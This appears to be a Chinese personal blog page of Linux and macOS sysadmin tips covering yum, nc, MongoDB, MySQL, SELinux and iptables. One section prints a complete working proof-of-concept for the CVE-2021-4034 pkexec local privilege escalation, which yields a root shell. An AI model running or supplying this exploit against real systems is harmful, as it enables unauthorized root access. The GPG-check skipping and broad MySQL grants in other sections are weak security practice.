使用`--showduplicates`列出所有的包,然后指定版本安装
yum list --disablerepo="*" --enablerepo="mysql80-community" --showduplicates
# 跳过公钥检查
使用`--nogpgcheck`跳过公钥检查安装
yum install --nogpgcheck xxxx

nc命令检查服务器端口是否开放

使用nc -vz -w 10 IP Port来检查服务器某个端口是否开启。
其中

  • -v: 设置输出模式
  • -z: 不交互输入/输出, 仅仅报告链接状态
  • -w <time>: 设置超时时间
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    $ nc -vz -w 10 www.baidu.com 443
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Connected to 180.101.49.12:443.
    Ncat: 0 bytes sent, 0 bytes received in 0.03 seconds.
    $
    $ nc -vz -w 10 www.baidu.com 440
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Connection to 180.101.49.12 failed: Connection timed out.
    Ncat: Trying next address...
    Ncat: Connection timed out.
    $

CentOS 7查看和更新密码有效期

账户密码失效后,运行crontab任务会在/var/log/cron中报告如下出错信息,并且禁止crontab任务的运行

1
2
Feb 3 12:32:01 wjds-food-new crond[31367]: (deployer) PAM ERROR (Authentication token is no longer valid; new one required)
Feb 3 12:32:01 wjds-food-new crond[31368]: (deployer) FAILED to authorize user with PAM (Authentication token is no longer valid; new one required)

可使用chage -l username来查看密码有效期设定

1
2
3
4
5
6
7
8
9
# chage -l deployer
Last password change : Nov 03, 2020
Password expires : Feb 01, 2021
Password inactive : never
Account expires : never
Minimum number of days between password change : 1
Maximum number of days between password change : 90
Number of days of warning before password expires : 7
#

可以通过更新密码来重置Password expires时间,也可以使用如下两个命令,直接设置密码永久不需要重置。

1
2
passwd -x -1 username
chage -M -1 username


获取yum变量$arch,$basearch和$releasever的小命令

可以使用如下python命令来获取yum的变量

1
python -c 'import yum, pprint; yb = yum.YumBase(); pprint.pprint(yb.conf.yumvar, width=1)'

下面是该命令在Aliyun Linux 2,Amazon Linux 2CentOS 7.6上的输出。

Aliyun Linux 2的结果

1
2
3
4
5
6
7
$ python -c 'import yum, pprint; yb = yum.YumBase(); pprint.pprint(yb.conf.yumvar, width=1)'
Loaded plugins: fastestmirror
{'arch': 'ia32e',
'basearch': 'x86_64',
'releasever': '2.1903',
'uuid': '33f759f5-349a-4c14-bb77-3ccd32b7a675'}
$

Amazon Linux 2上的运行结果

1
2
3
4
5
6
7
8
9
10
11
$ python -c 'import yum, pprint; yb = yum.YumBase(); pprint.pprint(yb.conf.yumvar, width=1)'
Loaded plugins: extras_suggestions, langpacks, priorities, update-motd
{'arch': 'ia32e',
'awsdomain': 'amazonaws.com',
'awsregion': 'us-west-2',
'basearch': 'x86_64',
'product': 'core',
'releasever': '2',
'target': 'latest',
'uuid': '3f6395c1-b6c3-45e1-b7e4-aeaa76bf67a6'}
$

CentOS 7.6上的运行结果

1
2
3
4
5
6
7
8
9
$ python -c 'import yum, pprint; yb = yum.YumBase(); pprint.pprint(yb.conf.yumvar, width=1)'
Loaded plugins: fastestmirror
{'arch': 'ia32e',
'basearch': 'x86_64',
'contentdir': 'centos',
'infra': 'stock',
'releasever': '7',
'uuid': '679cafd0-f0f5-4bc4-9055-eddca793d302'}
$

各系统redhat-release的信息

命令rpm -q --whatprovides redhat-release在各个系统Aliyun Linux 2,Amazon Linux 2CentOS 7.6上的输出。

Aliyun Linux 2的结果

1
2
3
$ rpm -q --whatprovides redhat-release
alinux-release-2.1903-4.al7.x86_64
$

Amazon Linux 2上的运行结果

1
2
3
$ rpm -q --whatprovides redhat-release
system-release-2-11.amzn2.x86_64
$

CentOS 7.6上的运行结果

1
2
3
$ rpm -q --whatprovides redhat-release
centos-release-7-6.1810.2.el7.centos.x86_64
$

Linux下cat EOF变量展开情形

变量展开

正常情况下,cat会获取变量值展开。
如:

1
2
3
cat >> ./cat_with_variable.txt << EOF
echo $PATH
EOF

那么文件./cat_with_variable.txt中的内容是

1
echo /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin

变量不展开

如果需要保留变量名的形式,输出到文件中的是echo $PATH的字串,那么需要将EOF的形式变换一下。变成如下两种形式之一皆可保留变量的形式。

  • 形式一: 将第一个EOF变为\EOF, 即

    1
    2
    3
    cat >> ./cat_with_variable.txt << \EOF
    echo $PATH
    EOF
  • 形式二: 将第一个EOF用单引号括起来,变为'EOF', 即

    1
    2
    3
    cat >> ./cat_with_variable.txt << 'EOF'
    echo $PATH
    EOF

此时,文件中的内容为:

1
echo $PATH

参考: How to cat EOF a file containing code?


Mac下清除DNS缓存

清除DNS缓存命令

1
2
sudo dscacheutil -flushcache
sudo killall -HUP mDNSResponder


Mac下brew安装组件但不更新自己的方法

brew install之前添加HOMEBREW_NO_AUTO_UPDATE=1, 如

1
HOMEBREW_NO_AUTO_UPDATE=1 brew install jq


Linux中使用logger命令写入syslog日志

将”hello world”写入local1.info

1
logger -it error -p local1.info "hello world"


mongo数据库的各种查询语句示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
左边是mongodb查询语句,右边是sql语句。对照着用,挺方便。
db.users.find() select * from users
db.users.find({"age" : 27}) select * from users where age = 27
db.users.find({"username" : "joe", "age" : 27}) select * from users where "username" = "joe" and age = 27
db.users.find({}, {"username" : 1, "email" : 1}) select username, email from users
db.users.find({}, {"username" : 1, "_id" : 0}) // no case // 即时加上了列筛选,_id也会返回;必须显式的阻止_id返回
db.users.find({"age" : {"$gte" : 18, "$lte" : 30}}) select * from users where age >=18 and age <= 30 // $lt(<) $lte(<=) $gt(>) $gte(>=)
db.users.find({"username" : {"$ne" : "joe"}}) select * from users where username <> "joe"
db.users.find({"ticket_no" : {"$in" : [725, 542, 390]}}) select * from users where ticket_no in (725, 542, 390)
db.users.find({"ticket_no" : {"$nin" : [725, 542, 390]}}) select * from users where ticket_no not in (725, 542, 390)
db.users.find({"$or" : [{"ticket_no" : 725}, {"winner" : true}]}) select * form users where ticket_no = 725 or winner = true
db.users.find({"id_num" : {"$mod" : [5, 1]}}) select * from users where (id_num mod 5) = 1
db.users.find({"$not": {"age" : 27}}) select * from users where not (age = 27)
db.users.find({"username" : {"$in" : [null], "$exists" : true}}) select * from users where username is null // 如果直接通过find({"username" : null})进行查询,那么连带"没有username"的纪录一并筛选出来
db.users.find({"name" : /joey?/i}) // 正则查询,value是符合PCRE的表达式
db.food.find({fruit : {$all : ["apple", "banana"]}}) // 对数组的查询, 字段fruit中,既包含"apple",又包含"banana"的纪录
db.food.find({"fruit.2" : "peach"}) // 对数组的查询, 字段fruit中,第3个(从0开始)元素是peach的纪录
db.food.find({"fruit" : {"$size" : 3}}) // 对数组的查询, 查询数组元素个数是3的记录,$size前面无法和其他的操作符复合使用
db.users.findOne(criteria, {"comments" : {"$slice" : 10}}) // 对数组的查询,只返回数组comments中的前十条,还可以{"$slice" : -10}, {"$slice" : [23, 10]}; 分别返回最后10条,和中间10条
db.people.find({"name.first" : "Joe", "name.last" : "Schmoe"}) // 嵌套查询
db.blog.find({"comments" : {"$elemMatch" : {"author" : "joe", "score" : {"$gte" : 5}}}}) // 嵌套查询,仅当嵌套的元素是数组时使用,
db.foo.find({"$where" : "this.x + this.y == 10"}) // 复杂的查询,$where当然是非常方便的,但效率低下。对于复杂查询,考虑的顺序应当是 正则 -> MapReduce -> $where
db.foo.find({"$where" : "function() { return this.x + this.y == 10; }"}) // $where可以支持javascript函数作为查询条件
db.foo.find().sort({"x" : 1}).limit(1).skip(10); // 返回第(10, 11]条,按"x"进行排序; 三个limit的顺序是任意的,应该尽量避免skip中使用large-number

参考: https://blog.csdn.net/qq_27093465/article/details/51700435


将mongo数据导出为csv文件

可以使用mongoexport--type=csv,--out report.csv的方式来将mongo数据导出成csv文件。
通过数据库账号密码方式:

1
2
3
4
mongoexport -h localhost -d databse -c collection --type=csv
--fields erpNum,orderId,time,status
-q '{"time":{"$gt":1438275600000}, "status":{"$ne" :"Cancelled"}}'
--out report.csv

通过uri方式:

1
2
3
4
mongoexport --uri=uri -c collection --type=csv
--fields erpNum,orderId,time,status
-q '{"time":{"$gt":1438275600000}, "status":{"$ne" :"Cancelled"}}'
--out report.csv

筛选时间类型的方法:

1
2
mongoexport --username user --password pass --host host --db dbName --collection coll --type=csv
--query '{"_created_at": { "$gte" : { "$date" : "2017-12-21T12:57:00.506Z" } }}'

参考: Mongoexport -q ISODate query


dd创建指定大小的文件

1
dd if=/dev/zero of=test_file count=20480 bs=1M
  • if=文件名:输入文件名,缺省为标准输入。即指定源文件。< if=input file >
  • of=文件名:输出文件名,缺省为标准输出。即指定目的文件。< of=output file >
  • bs: 同时设置读入/输出的块大小为bytes个字节
  • count=blocks:仅拷贝blocks个块,块大小等于ibs指定的字节数。

更换pip源

国内阿里云镜像源: https://mirrors.aliyun.com/pypi/simple/

临时pip安装

可以在使用pip的时候在后面加上-i参数,指定pip源

1
pip install scrapy -i https://mirrors.aliyun.com/pypi/simple/

永久修改

Linux下
修改$HOME/.config/pip/pip.conf文件,添加内容如下:

1
2
3
[global]
index-url = https://mirrors.aliyun.com/pypi/simple/


cp命令保持文件源属性

cp命令中的-p参数可以在拷贝文件时,保留文件的原属性,包含文件修改时间,访问时间以及文件属性等
-p参数的解释:

1
2
3
4
-p same as --preserve=mode,ownership,timestamps
--preserve[=ATTR_LIST]
preserve the specified attributes (default: mode,ownership,timestamps), if possible additional attributes: context, links, xattr, all


CentOS 7 本机进单用户模式

步骤:

  1. 开机选取Kernel页面时,按e进入编辑页面
  2. 定位到linux16那行,修改rorw init=/sysroot/bin/sh, 修改后按Ctrl + x保存启动,即可进入单用户模式
  3. 进入后,依次输入如下命令:
    • chroot /sysroot/, 切换环境为chroot 监狱
    • passwd root,修改root密码
    • touch /.autorelabel,开启重启时的 SELinux 重新标记
    • reboot -f重启系统。

参考:


alternatives/update-alternatives的简要用法

参考: alternatives命令简单用法


CVE-2021-4034 polkit pkexec 本地提权漏洞

POC代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

编译后运行就可以得到root的shell了

1
2
gcc poc.c
./a.out

原理参考:


CentOS 7下安装Mysql 需要导入PGP key

之前CentOS下安装mysql组件的步骤:

1
2
3
4
wget https://dev.mysql.com/get/mysql80-community-release-el7-6.noarch.rpm
md5sum mysql80-community-release-el7-6.noarch.rpm
sudo yum install mysql80-community-release-el7-6.noarch.rpm
yum install mysql-community-client mysql-community-devel mysql-community-server

现在安装时候, 会报错

1
获取 GPG 密钥失败:[Errno 14] curl#37 - "Couldn't open file /etc/pki/rpm-gpg/RPM-GPG-KEY-mysql-2022"

可以通过手动导入PGP key来解决

1
rpm --import https://repo.mysql.com/RPM-GPG-KEY-mysql-2022

参考:


SELinux开启时修改mysql数据目录

mysql默认安装时,数据在/var/lib/mysql目录下, 在SELinux开启时,如果要迁移目录,需要将目标目录属性设为mysqld_db_t
mysql安装步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 安装mysql
wget https://dev.mysql.com/get/mysql80-community-release-el7-6.noarch.rpm
md5sum mysql80-community-release-el7-6.noarch.rpm
sudo yum install mysql80-community-release-el7-6.noarch.rpm
yum install mysql-community-client mysql-community-devel mysql-community-server
# 启动mysql
systemctl start mysqld
# 查找临时密码
grep 'temporary password' /var/log/mysqld.log
# 做基本配置
## 修改密码
mysql_secure_installation
- 输入新的root密码 - 新密码
- 启动密码验证插件
- Remove anonymous users - YES
- Disallow root login remotely - Y
- Remove test database and access to it - Y
- Reload privilege tables now - Y
# 测试Mysql
mysqladmin -u root -p version

SELinux禁止时,拷贝mysql的数据到目标目录的步骤如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 停下mysql
systemctl stop mysqld.service
# 创建目录
mkdir -p /opt/app
# 拷贝原始数据到/opt/app下
rsync -av /var/lib/mysql /opt/app/
# 修改配置文件/etc/my.cnf,设置datadir为/opt/app/mysql
vi /etc/my.cnf
datadir=/opt/app/mysql
# 重启mysql
systemctl start mysqld.service

当SELinux开启时,此时rsync后再systemctl start mysqld.service, 会报如下错误:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[root@localhost ~]# systemctl start mysqld.service
Job for mysqld.service failed because the control process exited with error code. See "systemctl status mysqld.service" and "journalctl -xe" for details.
[root@localhost ~]#
[root@localhost ~]# systemctl status mysqld.service
● mysqld.service - MySQL Server
Loaded: loaded (/usr/lib/systemd/system/mysqld.service; enabled; vendor preset: disabled)
Active: failed (Result: exit-code) since 四 2022-05-19 20:42:28 CST; 2s ago
Docs: man:mysqld(8)
http://dev.mysql.com/doc/refman/en/using-systemd.html
Process: 10791 ExecStart=/usr/sbin/mysqld $MYSQLD_OPTS (code=exited, status=1/FAILURE)
Process: 10768 ExecStartPre=/usr/bin/mysqld_pre_systemd (code=exited, status=0/SUCCESS)
Main PID: 10791 (code=exited, status=1/FAILURE)
Status: "Server startup in progress"
Error: 13 (权限不够)
5月 19 20:42:28 localhost.localdomain systemd[1]: Starting MySQL Server...
5月 19 20:42:28 localhost.localdomain systemd[1]: mysqld.service: main process exited, code=exited, status=1/FAILURE
5月 19 20:42:28 localhost.localdomain systemd[1]: Failed to start MySQL Server.
5月 19 20:42:28 localhost.localdomain systemd[1]: Unit mysqld.service entered failed state.
5月 19 20:42:28 localhost.localdomain systemd[1]: mysqld.service failed.
[root@localhost ~]#

因为/opt/app/mysql下的文件没有mysqld_db_t的属性

1
2
3
4
5
6
7
8
# ll -Z /var/lib/ | grep mysql
drwxr-x--x. mysql mysql system_u:object_r:mysqld_db_t:s0 mysql
drwxr-x---. mysql mysql system_u:object_r:mysqld_db_t:s0 mysql-files
drwxr-x---. mysql mysql system_u:object_r:mysqld_db_t:s0 mysql-keyring
#
# ll -Z /opt/app/
drwxr-x--x. mysql mysql unconfined_u:object_r:usr_t:s0 mysql
#

此时需要修改/opt/app/mysql下文件的selinux权限才行

1
2
3
4
5
6
7
8
9
10
# 安装semanage命令
yum provides /usr/sbin/semanage
yum install policycoreutils-python
# 拷贝属性
semanage fcontext -a -e /var/lib/mysql /opt/app/mysql
restorecon -R -v /opt/app/mysql
# 修改后,就可以顺利启动mysql
systemctl restart mysqld.service

参考:


mysql创建用户

创建语句:

1
2
3
4
5
6
7
8
9
10
11
# 创建不限制访问的用户
CREATE USER 'abcd'@'%' IDENTIFIED BY 'abc_123Password';
GRANT ALL PRIVILEGES ON *.* TO 'abcd'@'%' WITH GRANT OPTION;
# 创建内网才能访问的用户
CREATE USER 'abcde'@'192.168.%' IDENTIFIED BY 'abc_123Password';
GRANT ALL PRIVILEGES ON *.* TO 'abcde'@'%' WITH GRANT OPTION;
# 创建固定IP才能访问的用户
CREATE USER 'abcdef'@'192.168.187.226' IDENTIFIED BY 'abc_123Password';
GRANT ALL PRIVILEGES ON *.* TO 'abcdef'@'%' WITH GRANT OPTION;


Linux下获取后台进程的运行命令路径

两个方法:

  • ls -alF /proc/<PID>/exe
  • readlink -f /proc/<pid>/exe

原理: Linux下每个进程的信息会存放在/proc/<PID>的路径下, 其中exe会链接到实际运行的命令上。所以只要查看/proc/<PID>/exe就可以知道是哪边运行的命令。

例子:
一台机器上装有多个nginx,启动nginx的时候没有指定完整路径,查看ps命令输出只看到运行命令是./nginx, 无法知道运行的是哪个版本

1
2
3
$ ps -ef | grep nginx | grep master
root 10077 1 0 May20 ? 00:00:00 nginx: master process ./nginx
$

此时就可以通过进程号来读取运行文件的完整路径。

1
2
3
$ sudo ls -alF /proc/10077/exe
lrwxrwxrwx 1 root root 0 May 27 10:44 /proc/10077/exe -> /opt/nginx/sbin/nginx*
$

参考:


Linux中sudo each 重定向到文件时Permission Denied

某个文件当前用户没有写入权限,当你尝试想用sudo echo 'something' > file的形式写入时,会发现虽然你有sudo权限,但还是会报Permission Denied的错误。
原因是重定向操作’>’和’>>’并不是被sudo echo来执行的,而还是以当前用户来执行的。

解决方法一,使用tee

1
2
3
4
5
# 替换文件
echo 'something' | sudo tee file.txt
# append到文件
echo 'something' | sudo tee -a file.txt

解决方法二,使用sudo bash -c 显式运行命令

1
2
sudo bash -c "echo 'something' > file.txt"
sudo bash -c "echo 'something' >> file.txt"

参考:


iptable的简单用法

CentOS 7过后统一使用firewall来设置防火墙了,但CentOS 6中还是只能使用iptables来设置防火墙。如下是一些简单的防火墙的命令,做备忘。

正常的service启动/停止iptables服务

1
2
3
4
5
6
7
service iptables start # 启动 iptables
service iptables stop # 停止 iptables
service iptables restart # 重启 iptables
service iptables status # 查看 iptables的状态
chkconfig iptables on # 设置开机启用防火墙
chkconfig iptables off # 设置开机停用防火墙

配置文件

1
/etc/sysconfig/iptables

匹配和执行规则:

  • 从第一条规则开始顺序往下匹配,匹配到了就执行动作,并不再匹配接下来的规则**
  • iptables命令设置的规则立马起效, 要注意千万不要把自己关在服务器以外

相关命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
service iptables save # 保存内存中的条目到配置文件/etc/sysconfig/iptables中
iptables -L -n --line-numbers # 查看防火墙条目
# -A 是追加规则到末尾
# 例如: 只允许IP为192.168.187.1的客户端访问22端口,并追加到最末尾
iptables -A INPUT -p tcp -m state --state NEW --source 192.168.187.1 --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP
# -I 是指定条数插入
# 开启22端口的访问,其中-I INPUT ${num} 是将该规则设置到第num条的意思
iptables -I INPUT 4 -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
# -D 是删除指定条数的规则
# 删除规则, -D INPUT ${num}, 是将第num条规则删除。
iptables -D INPUT 5


logrotate执行时没有备份旧文件

运行logrotate时,如果发现没有备份和切割旧文件。可能的原因就是配置文件编写有误。
可以使用参数-d来测试配置文件, 或使用-v来显示处理信息

一个例子:
执行logrotate时,没有生成备份文件,使用-v来输出处理信息。

1
logrotate -v -f /etc/logrotate.d/test.conf

命令输出中发现了错误信息:

1
Ignoring /etc/logrotate.d/test.conf because of bad file mode.

原因是文件权限为755, 修改为644后即可正常执行。


Postman中如何设置和使用cookie

官方文档 - Using cookies https://learning.postman.com/docs/sending-requests/cookies/


Amazon Linux中如何安装g++

在Amazon Linux中安装g++的命令如下:

1
sudo yum install -y gcc-c++


aws cli获取autoscaling configuration配置

使用aws autoscaling describe-launch-configurations来查看autoscaling的配置文件, 例:

1
aws autoscaling describe-launch-configurations --launch-configuration-names AutoScaling-Test

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
{
"LaunchConfigurations": [
{
"UserData": "",
"EbsOptimized": false,
"LaunchConfigurationARN": "arn:aws:autoscaling:us-west-2:XXXXXXXXXXXX:launchConfiguration:51f10b39-59a2-489e-a72f-efdc418fe910:launchConfigurationName/AutoScaling-Test",
"InstanceMonitoring": {
"Enabled": false
},
"ClassicLinkVPCSecurityGroups": [],
"CreatedTime": "2015-12-31T16:17:34.995Z",
"BlockDeviceMappings": [
{
"DeviceName": "/dev/sdf",
"Ebs": {
"DeleteOnTermination": false,
"SnapshotId": "snap-1f5c9e4f",
"VolumeSize": 32,
"VolumeType": "standard"
}
},
{
"DeviceName": "/dev/xvda",
"Ebs": {
"DeleteOnTermination": true,
"VolumeSize": 8,
"VolumeType": "standard"
}
}
],
"KeyName": "key-for-aws",
"SecurityGroups": [
"sg-2a14e74e"
],
"LaunchConfigurationName": "AutoScaling-Test",
"KernelId": "",
"RamdiskId": "",
"ImageId": "ami-59a08869",
"InstanceType": "t2.micro"
}
]
}


Linux下获取文件中指定行数的内容

获取指定行的内容:

1
sed -n '开始行数,结束行数p' 待截取的文件

获取内容后写入新文件

1
sed -n '开始行数,结束行数p' 待截取的文件 >> 新文件

参考: Linux下截取文件内容保存到新的文件中


指定端口运行Jenkins

指定http端口:

1
java -jar jenkins.war --httpPort=9090

指定https端口:

1
java -jar jenkins.war --httpsPort=9090

参考: How to start jenkins on different port rather than 8080 using command prompt in Windows?


Linux下修改系统时间

修改系统时间

修改时间: date -s 时间
如:设置当前时间为:2022年10月21日21点50分

1
date -s '2022-10-21 21:50:00’

根据网络同步时间

使用ntp来使用网络时间同步本地时间:

1
2
3
4
# 安装ntp
yum install ntp
# 同步时间
ntpdate pool.ntp.org

ImageMagick convert将彩色照片转为黑白照片

方式一:

1
convert input.jpg -colorspace Gray input_gray.jpg

方式二:
会生成3个不同灰度的图片,供选取

1
convert input.jpg -separate input_gray.jpg

参考: https://blog.csdn.net/weixin_30832983/article/details/97265181

留言

2019-04-26
  1. git branch 不要分页
  2. 使用git合并特定的commit
  3. Github中clone私有仓库
    1. Github中使用账号密码方式clone私有仓库
    2. Github中使用ssh key方式clone私有仓库
    3. Reference
  4. 查看git中所有分支的日志
  5. 在所有的branch中搜索
    1. 方法一
    2. 方法二
    3. 搜索限制在某个目录下的方法
    4. 其他用法
  6. git diff 不要分页
  7. 查找git中文件是否被ignore以及是被哪个配置文件ignore的
  8. git命令获取当前分支
  9. 获取git仓库中所有的branch
  10. 查找文件记录(包含已删除的文件)
  11. Git从远端分支checkout
  12. Macos下tree显示中文
  13. CentoOS 7 最小化安装后可能需要的一些命令
  14. CentOS 7 中命令行UI编辑网口信息的命令
  15. CentOS 7中命令行安装GUI组件
  16. MacOS ffplay只有声音没有图像
  17. grep 中将binary file当做文本
  18. grep 搜索非ASCII字符
  19. grep 搜索控制字符和非可打印字符
  20. grep 只列出匹配的文件名
  21. grep搜索排除目录
  22. grep 搜索隐藏目录
  23. grep 如何同时搜索软连接目录内的内容
  24. MacOS下Betterzip quicklook不起作用
  25. MacOS下QuickLook的路径
  26. CentOS 7下安装lspci
  27. rsync命令
  28. CentOS中启用epel repository
  29. CentOS中systemctl常用命令小结
  30. Split切割文件
  31. Gem切换源
  32. rvm切换ruby安装源
  33. gitignore例子
  34. 测试NTP服务器
  35. CentOS下安装nslookup
  36. 列出Linux下目录的文件数
  37. 按照文件修改日期查找文件
  38. Linux下几个获取出口公网IP的命令
  39. 获取磁盘和CPU使用率的命令
  40. 解决停止操作后SSH连接断开的办法
  41. 本地转义HTML的几个命令
  42. EB手动打包时包含隐藏目录
  43. Linux下mail如何添加多个附件
  44. top命令
  45. 使用ssh-keygen从私钥中获取公钥
  46. 获取key的fingerprint
  47. 设置ssh tunnel
  48. awk
    1. awk中去除字段的前后空格
    2. awk中输出单引号, 使用\x27
    3. awk 3.x支持Interval expressions {n,m}
    4. awk执行命令并获取返回
  49. CentOS下获取内存使用率
  50. nginx一些常见配置选项
  51. 使用script切换当前目录
  52. 使用ssh-copy-id拷贝公钥
  53. 虚拟机中ssh登录慢
  54. Linux Watch重复运行命令
  55. passenger获取passenger_root和passenger_ruby
  56. Rvm 相关小命令
  57. CentOS 7中显示和修改时区
  58. 修改CentOS 7中主机名字
  59. CentOS 7中安装node 10.x
  60. CentOS 7中安装yarn
  61. 让终端走代理的方法
  62. openssl查看证书的几个命令
  63. crontab中如何设置奇数天和偶数天运行
  64. Shell大小写转换
  65. du统计隐藏目录的大小
  66. du排除某些目录的用法
  67. CentOS下网络使用工具
  68. mysql dump数据库
  69. mysql小命令
  70. mysql将值转换为float
  71. 给Mysql数据库添加unique key的步骤
  72. CentOS 7上安装mysql的简要步骤
  73. CentOS 7删除老旧的mysql并重新安装的步骤
  74. tar排除固定目录
  75. 不解压查看tar.gz中的文件列表
  76. tar解压文件owner属性
  77. tar解压到指定目录
  78. 不解压查看zip中的文件列表
  79. Linux下查看网卡速率
  80. vim中查看识别的文件类型
  81. vim中ESC失效问题
  82. iTerm2 分屏快捷键
  83. iTerm2 如何发送命令到所有窗口
  84. Macos下安装OpenJDK
  85. Linux shell中打印有颜色的字体
    1. 输出带颜色的字
    2. 输出带颜色背景的字
  86. 统计代码的小工具
  87. FFMPEG从HLS流转换为MP4
  88. FFMPEG 将gif转为mp4
  89. you-get如何使用cookie
  90. 判断某个PID是否存在
  91. yum 命令小结
  92. nc命令检查服务器端口是否开放
  93. CentOS 7查看和更新密码有效期
  94. 获取yum变量$arch,$basearch和$releasever的小命令
  95. 各系统redhat-release的信息
  96. Linux下cat EOF变量展开情形
    1. 变量展开
    2. 变量不展开
  97. Mac下清除DNS缓存
  98. Mac下brew安装组件但不更新自己的方法
  99. Linux中使用logger命令写入syslog日志
  100. mongo数据库的各种查询语句示例
  101. 将mongo数据导出为csv文件
  102. dd创建指定大小的文件
  103. 更换pip源
    1. 临时pip安装
    2. 永久修改
  104. cp命令保持文件源属性
  105. CentOS 7 本机进单用户模式
  106. alternatives/update-alternatives的简要用法
  107. CVE-2021-4034 polkit pkexec 本地提权漏洞
  108. CentOS 7下安装Mysql 需要导入PGP key
  109. SELinux开启时修改mysql数据目录
  110. mysql创建用户
  111. Linux下获取后台进程的运行命令路径
  112. Linux中sudo each 重定向到文件时Permission Denied
    1. 解决方法一,使用tee
    2. 解决方法二,使用sudo bash -c 显式运行命令
  113. iptable的简单用法
  114. logrotate执行时没有备份旧文件
  115. Postman中如何设置和使用cookie
  116. Amazon Linux中如何安装g++
  117. aws cli获取autoscaling configuration配置
  118. Linux下获取文件中指定行数的内容
  119. 指定端口运行Jenkins
  120. Linux下修改系统时间
    1. 修改系统时间
    2. 根据网络同步时间
  121. ImageMagick convert将彩色照片转为黑白照片